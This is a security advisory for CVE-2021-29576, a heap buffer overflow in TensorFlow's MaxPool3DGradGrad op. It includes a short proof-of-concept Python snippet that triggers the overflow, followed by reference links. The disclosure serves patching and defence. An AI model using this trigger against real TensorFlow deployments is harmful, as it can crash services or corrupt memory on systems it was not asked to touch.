CVE-2021-29576: Heap buffer overflow in `MaxPool3DGradGrad`
(updated )
The implementation of tf.raw_ops.MaxPool3DGradGrad is vulnerable to a heap buffer overflow:
import tensorflow as tf
values = [0.01] * 11
orig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.MaxPool3DGradGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding)
References
- github.com/advisories/GHSA-7cqx-92hp-x6wh
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-504.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-702.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-213.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/63c6a29d0f2d692b247f7bf81f8732d6442fad09
- github.com/tensorflow/tensorflow/security/advisories/GHSA-7cqx-92hp-x6wh
- nvd.nist.gov/vuln/detail/CVE-2021-29576
Code Behaviors & Features
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